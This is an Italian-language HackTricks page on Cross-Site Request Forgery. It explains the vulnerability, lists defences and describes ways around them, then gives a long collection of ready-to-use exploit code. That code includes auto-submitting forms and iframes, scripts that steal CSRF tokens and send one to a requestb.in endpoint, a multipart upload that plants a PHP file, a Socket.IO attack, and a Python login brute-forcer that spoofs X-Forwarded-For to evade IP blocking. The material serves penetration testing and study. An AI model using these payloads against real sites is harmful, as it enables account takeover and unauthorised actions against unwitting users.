CSRF (Cross Site Request Forgery)

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Ultime Annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Spiegazione del Cross-Site Request Forgery (CSRF)

Il Cross-Site Request Forgery (CSRF) è un tipo di vulnerabilità di sicurezza riscontrata nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è loggato su una piattaforma vittima, visita un sito malevolo. Questo sito quindi attiva richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, la presentazione di moduli o il recupero di immagini.

Prerequisiti per un Attacco CSRF

Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:

  1. Identificare un'azione di valore: L'attaccante deve trovare un'azione degna di essere sfruttata, come cambiare la password dell'utente, l'email o elevare i privilegi.

  2. Gestione della Sessione: La sessione dell'utente dovrebbe essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.

  3. Assenza di Parametri Imprevedibili: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono prevenire l'attacco.

Controllo Veloce

Potresti catturare la richiesta in Burp e controllare le protezioni CSRF e per testare dal browser puoi fare clic su Copia come fetch e controllare la richiesta:

Difendersi dal CSRF

Diverse contromisure possono essere implementate per proteggersi dagli attacchi CSRF:

  • Cookie SameSite: Questo attributo impedisce al browser di inviare i cookie insieme alle richieste tra siti. Maggiori informazioni sui cookie SameSite.

  • Condivisione delle risorse tra origini: La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede la lettura della risposta dal sito vittima. Scopri di più sul bypass CORS.

  • Verifica dell'Utente: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.

  • Controllo degli Intestazioni Referrer o Origin: La convalida di queste intestazioni può aiutare a garantire che le richieste provengano da fonti attendibili. Tuttavia, la creazione attenta di URL può eludere controlli scarsamente implementati, come:

  • Utilizzando http://mal.net?orig=http://example.com (URL termina con l'URL attendibile)

  • Utilizzando http://example.com.mal.net (URL inizia con l'URL attendibile)

  • Modifica dei Nomi dei Parametri: Modificare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.

  • Token CSRF: Incorporare un token CSRF univoco in ogni sessione e richiedere questo token nelle richieste successive può ridurre significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.

Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.

Bypass delle Difese

Da POST a GET

Forse il modulo che vuoi sfruttare è predisposto per inviare una richiesta POST con un token CSRF ma, dovresti verificare se un GET è anche valido e se quando invii una richiesta GET il token CSRF viene comunque convalidato.

Mancanza di token

Le applicazioni potrebbero implementare un meccanismo per convalidare i token quando sono presenti. Tuttavia, sorge una vulnerabilità se la convalida viene saltata del tutto quando il token è assente. Gli attaccanti possono sfruttare ciò rimuovendo il parametro che trasporta il token, non solo il suo valore. Ciò consente loro di aggirare il processo di convalida e condurre un attacco di Cross-Site Request Forgery (CSRF) in modo efficace.

Il token CSRF non è legato alla sessione dell'utente

Le applicazioni che non legano i token CSRF alle sessioni degli utenti presentano un significativo rischio per la sicurezza. Questi sistemi verificano i token contro un pool globale anziché garantire che ciascun token sia vincolato alla sessione iniziale.

Ecco come gli attaccanti sfruttano ciò:

  1. Autenticarsi utilizzando il proprio account.

  2. Ottenere un token CSRF valido dal pool globale.

  3. Utilizzare questo token in un attacco CSRF contro una vittima.

Questa vulnerabilità consente agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il meccanismo di convalida del token inadeguato dell'applicazione.

Bypass del Metodo

Se la richiesta sta utilizzando un "metodo" "strano", controlla se la funzionalità di override del metodo funziona. Ad esempio, se sta usando un metodo PUT puoi provare a usare un metodo POST e inviare: https://example.com/my/dear/api/val/num?_method=PUT

Questo potrebbe funzionare anche inviando il parametro _method all'interno di una richiesta POST o utilizzando gli intestazioni:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

Bypass del Token dell'Intestazione Personalizzata

Se la richiesta sta aggiungendo un intestazione personalizzata con un token alla richiesta come metodo di protezione CSRF, allora:

  • Testa la richiesta senza il Token Personalizzato e anche l'intestazione.

  • Testa la richiesta con la stessa lunghezza ma con token diverso.

Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro della richiesta o impostando un cookie CSRF e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione convalida le richieste verificando se il token nel parametro della richiesta corrisponde al valore nel cookie.

Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web ha difetti che consentono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare ciò caricando un'immagine ingannevole che imposta il cookie, seguito dall'avvio dell'attacco CSRF.

Di seguito è riportato un esempio di come potrebbe essere strutturato un attacco:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

Si noti che se il token csrf è correlato al cookie di sessione questo attacco non funzionerà perché sarà necessario impostare la tua sessione alla vittima, attaccando quindi te stesso.

Cambio del tipo di contenuto

Secondo questo, per evitare le richieste di preflight utilizzando il metodo POST questi sono i valori Content-Type consentiti:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

Tuttavia, si noti che la logica dei server può variare a seconda del Content-Type utilizzato, quindi è consigliabile provare i valori menzionati e altri come application/json,text/xml, application/xml.

Esempio (da qui) di invio di dati JSON come text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Eludere le richieste di preflight per i dati JSON

Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare il Content-Type: application/json in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare XMLHttpRequest per inviare questo tipo di contenuto avvia una richiesta di preflight. Tuttavia, ci sono strategie per potenzialmente eludere questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:

  1. Utilizzare Tipi di Contenuto Alternativi: Utilizzare Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded impostando enctype="text/plain" nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.

  2. Modificare il Tipo di Contenuto: Per evitare una richiesta di preflight garantendo che il server riconosca il contenuto come JSON, è possibile inviare i dati con Content-Type: text/plain; application/json. Questo non attiva una richiesta di preflight ma potrebbe essere elaborato correttamente dal server se configurato per accettare application/json.

  3. Utilizzo di File Flash SWF: Un metodo meno comune ma fattibile coinvolge l'utilizzo di un file flash SWF per eludere tali restrizioni. Per una comprensione approfondita di questa tecnica, fare riferimento a questo post.

Elusione del controllo Referrer / Origin

Evitare l'header Referrer

Le applicazioni possono convalidare l'header 'Referer' solo quando è presente. Per impedire al browser di inviare questo header, può essere utilizzato il seguente tag meta HTML:

<meta name="referrer" content="never">

Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo controlli di convalida in alcune applicazioni.

Bypass delle espressioni regolari

pageURL Format Bypass

Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, è possibile fare così:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Bypass del metodo HEAD

La prima parte di questo resoconto CTF spiega che nel codice sorgente di Oak, un router è impostato per gestire le richieste HEAD come richieste GET senza corpo di risposta - un workaround comune che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente passate al gestore GET ma l'applicazione rimuove semplicemente il corpo di risposta.

Pertanto, se una richiesta GET viene limitata, potresti semplicemente inviare una richiesta HEAD che verrà elaborata come una richiesta GET.

Esempi di exploit

Esfiltrazione del token CSRF

Se viene utilizzato un token CSRF come difesa, potresti provare a esfiltrarlo sfruttando una vulnerabilità XSS o una vulnerabilità Dangling Markup.

GET utilizzando tag HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Altri tag HTML5 che possono essere utilizzati per inviare automaticamente una richiesta GET sono:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Richiesta GET del modulo

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Richiesta di invio del modulo (Form POST request)

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Richiesta POST del modulo tramite iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Richiesta POST Ajax

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

richiesta POST multipart/form-data

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

Richiesta POST multipart/form-data v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Richiesta POST del modulo da all'interno di un iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Rubare il token CSRF e inviare una richiesta POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Rubare il token CSRF e inviare una richiesta Post utilizzando un iframe, un modulo e Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Rubare il token CSRF e inviare una richiesta POST utilizzando un iframe e un modulo

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Rubare il token e inviarlo usando 2 iframe

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTRubare il token CSRF con Ajax e inviare un post con un modulo

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF con Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Il codice può essere utilizzato per forzare un login tramite un token CSRF (utilizza anche l'intestazione X-Forwarded-For per cercare di aggirare un eventuale blocco dell'IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Strumenti

Riferimenti

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated